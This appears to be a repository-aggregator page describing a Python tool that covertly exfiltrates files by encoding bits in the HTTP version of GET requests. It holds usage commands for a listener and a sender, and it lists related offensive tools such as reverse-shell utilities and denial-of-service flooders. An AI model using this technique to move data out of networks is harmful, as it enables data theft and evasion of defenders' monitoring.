Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)

Last update: Apr 30, 2022

Related tags

Overview

http-protocol-exfil

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).

Create listener

To run the listener use listener.py with one optional argument: the port it will be listening in.

python3 listener.py [PORT]

Example:

python3 listener.py 8080

Send a file

To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).

python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Example:

python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example

First the file is sent:

If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:

The new file is created with the content of the input file:

Motivation

I think (I am not sure) I read someone on Twitter who claimed to have used this to exfiltrate data and I liked the idea, if you are that person let me know.

Serves some data over HTTP, once. Based on the built-in Python module http.server

serve-me-once Serves some data over HTTP, once. Based on the built-in Python module http.server.

2 Jan 6, 2022

NetMiaou is an crossplatform hacking tool that can do reverse shells, send files, create an http server or send and receive tcp packet

5 Oct 5, 2022

Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)

Related tags

Overview

http-protocol-exfil

Create listener

Send a file

Example

Motivation

You might also like...

Serves some data over HTTP, once. Based on the built-in Python module http.server

NetMiaou is an crossplatform hacking tool that can do reverse shells, send files, create an http server or send and receive tcp packet

A library for interacting with APNs and VoIP using HTTP/2.

An improved version of the original AutoDD

BibleNotifyDesktop - Desktop version of Bible Notify

Take a list of domains and probe for working HTTP and HTTPS servers

Python 3 tool for finding unclaimed groups on Roblox. Supports multi-threading, multi-processing and HTTP proxies.

QUIC and HTTP/3 implementation in Python

This tools just for education only - Layer-7 or HTTP FLOODER

Releases(1.0)

1.0(Oct 23, 2021)

Owner

Ricardo Ruiz

This is a small python code that I use with my NAS server connected to Plex

🎥 PYnema is a simple UDP server written in python, allows you to watch downloaded videos.

Python port of proxy-www (https://github.com/justjavac/proxy-www)

Python Program to connect to different VPN servers autoatically using Windscribe VPN.

Wifi-Jamming is a simple, yet highly effective method of causing a DoS on a wireless implemented using python pyqt5.

Connection package to a raspberry or any other machine using ssh, it simplifies the deployment scripts and monitoring.

基于多线程快速端口扫描脚本，支持目标批量导入、结果导出。

Caching for HTTPX

Slowloris is basically an HTTP Denial of Service attack that affects threaded servers.

The OUCH Project - OUCH Server/Client

This is a Client-Server-System which can share the screen from the server to client and in the other direction.

Tool to get the top 100 of the fastest nodes in the Tor network. Based on Kirzahk tool.

Tripwire monitors ports and icmp to send the admin a message if somebody is scanning a machine that shouldn't be touched

SocksFlood, a DoS tools that sends attacks using Socks5 & Socks4

stellar-add-guest is a small tool to generate a new guest for Stellar Wireless (Enterprise mode) in OmniVista 2500 hosted on OmniSwitch with AOS Release 8

This is the code repository for Mastering Python for Networking and Security – Second Edition

An ansible playbook to set up wireguard server.

Client library for relay - a service for relaying server side messages to the client side browsers via websockets.

This is a python based command line Network Scanner utility, which input as an argument for the exact IP address or the relative IP Address range you wish to do the Network Scan for and returns all the available IP addresses with their MAC addresses on your current Network.

This is simple script that changes the config register of a cisco router over serial so that you can reset the password